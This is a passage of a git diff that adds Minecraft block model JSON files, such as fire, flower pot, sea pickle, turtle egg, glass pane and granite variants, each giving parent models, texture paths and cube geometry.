"minecraft:block/template_fire_floor", + "textures": { + "fire": "minecraft:block/fire_1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_side0.json b/src/assets/minecraft/models/block/fire_side0.json new file mode 100644 index 00000000..4ae90508 --- /dev/null +++ b/src/assets/minecraft/models/block/fire_side0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_side", + "textures": { + "fire": "minecraft:block/fire_0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_side1.json b/src/assets/minecraft/models/block/fire_side1.json new file mode 100644 index 00000000..021602cd --- /dev/null +++ b/src/assets/minecraft/models/block/fire_side1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_side", + "textures": { + "fire": "minecraft:block/fire_1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_side_alt0.json b/src/assets/minecraft/models/block/fire_side_alt0.json new file mode 100644 index 00000000..13e9e56b --- /dev/null +++ b/src/assets/minecraft/models/block/fire_side_alt0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_side_alt", + "textures": { + "fire": "minecraft:block/fire_0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_side_alt1.json b/src/assets/minecraft/models/block/fire_side_alt1.json new file mode 100644 index 00000000..d8a8550b --- /dev/null +++ b/src/assets/minecraft/models/block/fire_side_alt1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_side_alt", + "textures": { + "fire": "minecraft:block/fire_1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_up0.json b/src/assets/minecraft/models/block/fire_up0.json new file mode 100644 index 00000000..ebae15a6 --- /dev/null +++ b/src/assets/minecraft/models/block/fire_up0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_up", + "textures": { + "fire": "minecraft:block/fire_0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_up1.json b/src/assets/minecraft/models/block/fire_up1.json new file mode 100644 index 00000000..b80f0ebd --- /dev/null +++ b/src/assets/minecraft/models/block/fire_up1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_up", + "textures": { + "fire": "minecraft:block/fire_1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_up_alt0.json b/src/assets/minecraft/models/block/fire_up_alt0.json new file mode 100644 index 00000000..8925e2f0 --- /dev/null +++ b/src/assets/minecraft/models/block/fire_up_alt0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_up_alt", + "textures": { + "fire": "minecraft:block/fire_0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_up_alt1.json b/src/assets/minecraft/models/block/fire_up_alt1.json new file mode 100644 index 00000000..696f351c --- /dev/null +++ b/src/assets/minecraft/models/block/fire_up_alt1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_up_alt", + "textures": { + "fire": "minecraft:block/fire_1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fletching_table.json b/src/assets/minecraft/models/block/fletching_table.json new file mode 100644 index 00000000..4b677417 --- /dev/null +++ b/src/assets/minecraft/models/block/fletching_table.json @@ -0,0 +1,12 @@ +{ + "parent": "minecraft:block/cube", + "textures": { + "particle": "minecraft:block/fletching_table_front", + "north": "minecraft:block/fletching_table_front", + "south": "minecraft:block/fletching_table_front", + "east": "minecraft:block/fletching_table_side", + "west": "minecraft:block/fletching_table_side", + "up": "minecraft:block/fletching_table_top", + "down": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/flower_pot.json b/src/assets/minecraft/models/block/flower_pot.json new file mode 100644 index 00000000..45c7a75b --- /dev/null +++ b/src/assets/minecraft/models/block/flower_pot.json @@ -0,0 +1,57 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/flower_pot", + "flowerpot": "block/flower_pot", + "dirt": "block/dirt" + }, + "elements": [ + { "from": [ 5, 0, 5 ], + "to": [ 6, 6, 11 ], + "faces": { + "down": { "uv": [ 5, 5, 6, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 5, 5, 6, 11 ], "texture": "#flowerpot" }, + "north": { "uv": [ 10, 10, 11, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 5, 10, 6, 16 ], "texture": "#flowerpot" }, + "west": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" }, + "east": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 10, 0, 5 ], + "to": [ 11, 6, 11 ], + "faces": { + "down": { "uv": [ 10, 5, 11, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 10, 5, 11, 11 ], "texture": "#flowerpot" }, + "north": { "uv": [ 5, 10, 6, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 10, 10, 11, 16 ], "texture": "#flowerpot" }, + "west": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" }, + "east": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 6, 0, 5 ], + "to": [ 10, 6, 6 ], + "faces": { + "down": { "uv": [ 6, 10, 10, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 6, 5, 10, 6 ], "texture": "#flowerpot" }, + "north": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 6, 0, 10 ], + "to": [ 10, 6, 11 ], + "faces": { + "down": { "uv": [ 6, 5, 10, 6 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 6, 10, 10, 11 ], "texture": "#flowerpot" }, + "north": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 6, 0, 6 ], + "to": [ 10, 4, 10 ], + "faces": { + "down": { "uv": [ 6, 12, 10, 16 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 6, 6, 10, 10 ], "texture": "#dirt" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/flower_pot_cross.json b/src/assets/minecraft/models/block/flower_pot_cross.json new file mode 100644 index 00000000..dbc2c9df --- /dev/null +++ b/src/assets/minecraft/models/block/flower_pot_cross.json @@ -0,0 +1,73 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/flower_pot", + "flowerpot": "block/flower_pot", + "dirt": "block/dirt" + }, + "elements": [ + { "from": [ 5, 0, 5 ], + "to": [ 6, 6, 11 ], + "faces": { + "down": { "uv": [ 5, 5, 6, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 5, 5, 6, 11 ], "texture": "#flowerpot" }, + "north": { "uv": [ 10, 10, 11, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 5, 10, 6, 16 ], "texture": "#flowerpot" }, + "west": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" }, + "east": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 10, 0, 5 ], + "to": [ 11, 6, 11 ], + "faces": { + "down": { "uv": [ 10, 5, 11, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 10, 5, 11, 11 ], "texture": "#flowerpot" }, + "north": { "uv": [ 5, 10, 6, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 10, 10, 11, 16 ], "texture": "#flowerpot" }, + "west": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" }, + "east": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 6, 0, 5 ], + "to": [ 10, 6, 6 ], + "faces": { + "down": { "uv": [ 6, 10, 10, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 6, 5, 10, 6 ], "texture": "#flowerpot" }, + "north": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 6, 0, 10 ], + "to": [ 10, 6, 11 ], + "faces": { + "down": { "uv": [ 6, 5, 10, 6 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 6, 10, 10, 11 ], "texture": "#flowerpot" }, + "north": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 6, 0, 6 ], + "to": [ 10, 4, 10 ], + "faces": { + "down": { "uv": [ 6, 12, 10, 16 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 6, 6, 10, 10 ], "texture": "#dirt" } + } + }, + { "from": [ 2.6, 4, 8 ], + "to": [ 13.4, 16, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#plant" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#plant" } + } + }, + { "from": [ 8, 4, 2.6 ], + "to": [ 8, 16, 13.4 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#plant" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#plant" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/four_dead_sea_pickles.json b/src/assets/minecraft/models/block/four_dead_sea_pickles.json new file mode 100644 index 00000000..5b5b0e7b --- /dev/null +++ b/src/assets/minecraft/models/block/four_dead_sea_pickles.json @@ -0,0 +1,84 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/sea_pickle", + "all": "block/sea_pickle" + }, + "elements": [ + { "from": [ 2, 0, 2 ], + "to": [ 6, 6, 6 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 11 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 11 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 11 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 11 ], "texture": "#all" } + } + }, + { + "from": [ 2, 5.95, 2 ], + "to": [ 6, 5.95, 6 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 9, 0, 10 ], + "to": [ 13, 4, 14 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 9 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 9 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 9 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 9 ], "texture": "#all" } + } + }, + { + "from": [ 9, 3.95, 10 ], + "to": [ 13, 3.95, 14 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 9, 0, 2 ], + "to": [ 13, 6, 6 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 11 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 11 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 11 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 11 ], "texture": "#all" } + } + }, + { + "from": [ 9, 5.95, 2 ], + "to": [ 13, 5.95, 6 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 2, 0, 8 ], + "to": [ 6, 7, 12 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 12 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 12 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 12 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 12 ], "texture": "#all" } + } + }, + { + "from": [ 2, 6.95, 8 ], + "to": [ 6, 6.95, 12 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + } + ] +} diff --git a/src/assets/minecraft/models/block/four_sea_pickles.json b/src/assets/minecraft/models/block/four_sea_pickles.json new file mode 100644 index 00000000..fea6d6be --- /dev/null +++ b/src/assets/minecraft/models/block/four_sea_pickles.json @@ -0,0 +1,164 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/sea_pickle", + "all": "block/sea_pickle" + }, + "elements": [ + { "from": [ 2, 0, 2 ], + "to": [ 6, 6, 6 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 11 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 11 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 11 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 11 ], "texture": "#all" } + } + }, + { + "from": [ 2, 5.95, 2 ], + "to": [ 6, 5.95, 6 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 9, 0, 10 ], + "to": [ 13, 4, 14 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 9 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 9 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 9 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 9 ], "texture": "#all" } + } + }, + { + "from": [ 9, 3.95, 10 ], + "to": [ 13, 3.95, 14 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 9, 0, 2 ], + "to": [ 13, 6, 6 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 11 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 11 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 11 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 11 ], "texture": "#all" } + } + }, + { + "from": [ 9, 5.95, 2 ], + "to": [ 13, 5.95, 6 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 2, 0, 8 ], + "to": [ 6, 7, 12 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 12 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 12 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 12 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 12 ], "texture": "#all" } + } + }, + { + "from": [ 2, 6.95, 8 ], + "to": [ 6, 6.95, 12 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 3.5, 5.2, 4 ], + "to": [ 4.5, 8.7, 4 ], + "rotation": { "origin": [ 4, 8, 4 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "south": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 4, 5.2, 3.5 ], + "to": [ 4, 8.7, 4.5 ], + "rotation": { "origin": [ 4, 8, 4 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "east": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 10.5, 3.2, 12 ], + "to": [ 11.5, 6.7, 12 ], + "rotation": { "origin": [ 11, 8, 12 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "south": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 11, 3.2, 11.5 ], + "to": [ 11, 6.7, 12.5 ], + "rotation": { "origin": [ 11, 8, 12 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "east": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 10.5, 5.2, 4 ], + "to": [ 11.5, 8.7, 4 ], + "rotation": { "origin": [ 11, 8, 4 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "south": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 11, 5.2, 3.5 ], + "to": [ 11, 8.7, 4.5 ], + "rotation": { "origin": [ 11, 8, 4 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "east": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 3.5, 6.2, 10 ], + "to": [ 4.5, 9.7, 10 ], + "rotation": { "origin": [ 4, 8, 10 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "south": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 4, 6.2, 9.5 ], + "to": [ 4, 9.7, 10.5 ], + "rotation": { "origin": [ 4, 8, 10 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "east": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/four_slightly_cracked_turtle_eggs.json b/src/assets/minecraft/models/block/four_slightly_cracked_turtle_eggs.json new file mode 100644 index 00000000..fc2286aa --- /dev/null +++ b/src/assets/minecraft/models/block/four_slightly_cracked_turtle_eggs.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_four_turtle_eggs", + "textures": { + "all": "minecraft:block/turtle_egg_slightly_cracked" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/four_turtle_eggs.json b/src/assets/minecraft/models/block/four_turtle_eggs.json new file mode 100644 index 00000000..89506934 --- /dev/null +++ b/src/assets/minecraft/models/block/four_turtle_eggs.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_four_turtle_eggs", + "textures": { + "all": "minecraft:block/turtle_egg" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/four_very_cracked_turtle_eggs.json b/src/assets/minecraft/models/block/four_very_cracked_turtle_eggs.json new file mode 100644 index 00000000..6d6a8a6d --- /dev/null +++ b/src/assets/minecraft/models/block/four_very_cracked_turtle_eggs.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_four_turtle_eggs", + "textures": { + "all": "minecraft:block/turtle_egg_very_cracked" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/frosted_ice_0.json b/src/assets/minecraft/models/block/frosted_ice_0.json new file mode 100644 index 00000000..1873bb83 --- /dev/null +++ b/src/assets/minecraft/models/block/frosted_ice_0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/frosted_ice_0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/frosted_ice_1.json b/src/assets/minecraft/models/block/frosted_ice_1.json new file mode 100644 index 00000000..ada6d7cf --- /dev/null +++ b/src/assets/minecraft/models/block/frosted_ice_1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/frosted_ice_1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/frosted_ice_2.json b/src/assets/minecraft/models/block/frosted_ice_2.json new file mode 100644 index 00000000..f97882c6 --- /dev/null +++ b/src/assets/minecraft/models/block/frosted_ice_2.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/frosted_ice_2" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/frosted_ice_3.json b/src/assets/minecraft/models/block/frosted_ice_3.json new file mode 100644 index 00000000..330bb943 --- /dev/null +++ b/src/assets/minecraft/models/block/frosted_ice_3.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/frosted_ice_3" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/furnace.json b/src/assets/minecraft/models/block/furnace.json new file mode 100644 index 00000000..0a81d4ea --- /dev/null +++ b/src/assets/minecraft/models/block/furnace.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/orientable", + "textures": { + "top": "minecraft:block/furnace_top", + "front": "minecraft:block/furnace_front", + "side": "minecraft:block/furnace_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/furnace_on.json b/src/assets/minecraft/models/block/furnace_on.json new file mode 100644 index 00000000..92f48017 --- /dev/null +++ b/src/assets/minecraft/models/block/furnace_on.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/orientable", + "textures": { + "top": "minecraft:block/furnace_top", + "front": "minecraft:block/furnace_front_on", + "side": "minecraft:block/furnace_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gilded_blackstone.json b/src/assets/minecraft/models/block/gilded_blackstone.json new file mode 100644 index 00000000..088b2170 --- /dev/null +++ b/src/assets/minecraft/models/block/gilded_blackstone.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/gilded_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/glass.json b/src/assets/minecraft/models/block/glass.json new file mode 100644 index 00000000..4c193d18 --- /dev/null +++ b/src/assets/minecraft/models/block/glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/glass_pane_noside.json b/src/assets/minecraft/models/block/glass_pane_noside.json new file mode 100644 index 00000000..dc01ef00 --- /dev/null +++ b/src/assets/minecraft/models/block/glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/glass_pane_noside_alt.json b/src/assets/minecraft/models/block/glass_pane_noside_alt.json new file mode 100644 index 00000000..f0151c1b --- /dev/null +++ b/src/assets/minecraft/models/block/glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/glass_pane_post.json b/src/assets/minecraft/models/block/glass_pane_post.json new file mode 100644 index 00000000..a88c26d2 --- /dev/null +++ b/src/assets/minecraft/models/block/glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/glass", + "edge": "minecraft:block/glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/glass_pane_side.json b/src/assets/minecraft/models/block/glass_pane_side.json new file mode 100644 index 00000000..78597546 --- /dev/null +++ b/src/assets/minecraft/models/block/glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/glass", + "edge": "minecraft:block/glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/glass_pane_side_alt.json b/src/assets/minecraft/models/block/glass_pane_side_alt.json new file mode 100644 index 00000000..0830c5e5 --- /dev/null +++ b/src/assets/minecraft/models/block/glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/glass", + "edge": "minecraft:block/glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/glowstone.json b/src/assets/minecraft/models/block/glowstone.json new file mode 100644 index 00000000..64b05023 --- /dev/null +++ b/src/assets/minecraft/models/block/glowstone.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/glowstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gold_block.json b/src/assets/minecraft/models/block/gold_block.json new file mode 100644 index 00000000..e4cf5ece --- /dev/null +++ b/src/assets/minecraft/models/block/gold_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/gold_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gold_ore.json b/src/assets/minecraft/models/block/gold_ore.json new file mode 100644 index 00000000..e330e823 --- /dev/null +++ b/src/assets/minecraft/models/block/gold_ore.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/gold_ore" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/granite.json b/src/assets/minecraft/models/block/granite.json new file mode 100644 index 00000000..def59d00 --- /dev/null +++ b/src/assets/minecraft/models/block/granite.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/granite_slab.json b/src/assets/minecraft/models/block/granite_slab.json new file mode 100644 index 00000000..fa54fb09 --- /dev/null +++ b/src/assets/minecraft/models/block/granite_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/granite", + "top": "minecraft:block/granite", + "side": "minecraft:block/granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/granite_slab_top.json b/src/assets/minecraft/models/block/granite_slab_top.json new file mode 100644 index 00000000..6f7d422b --- /dev/null +++ b/src/assets/minecraft/models/block/granite_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/granite", + "top": "minecraft:block/granite", + "side": "minecraft:block/granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/granite_stairs.json b/src/assets/minecraft/models/block/granite_stairs.json new file mode 100644 index 00000000..ef0f208a --- /dev/null +++ b/src/assets/minecraft/models/block/granite_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/granite", + "top": "minecraft:block/granite", + "side": "minecraft:block/granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/granite_stairs_inner.json b/src/assets/minecraft/models/block/granite_stairs_inner.json new file mode 100644 index 00000000..217e1ac1 --- /dev/null +++ b/src/assets/minecraft/models/block/granite_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/granite", + "top": "minecraft:block/granite", + "side": "minecraft:block/granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/granite_stairs_outer.json b/src/assets/minecraft/models/block/granite_stairs_outer.json new file mode 100644 index 00000000..3aa6e8a8 --- /dev/null +++ b/src/assets/minecraft/models/block/granite_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/granite", + "top": "minecraft:block/granite", + "side": "minecraft:block/granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/granite_wall_inventory.json b/src/assets/minecraft/models/block/granite_wall_inventory.json new file mode 100644 index 00000000..4fd63ac1 --- /dev/null +++ b/src/assets/minecraft/models/block/granite_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/granite_wall_post.json b/src/assets/minecraft/models/block/granite_wall_post.json new file mode 100644 index 00000000..896a06a4 --- /dev/null +++ b/src/assets/minecraft/models/block/granite_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/granite_wall_side.json b/src/assets/minecraft/models/block/granite_wall_side.json new file mode 100644 index 00000000..28bd6f3b --- /dev/null +++ b/src/assets/minecraft/models/block/granite_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/granite_wall_side_tall.json b/src/assets/minecraft/models/block/granite_wall_side_tall.json new file mode 100644 index 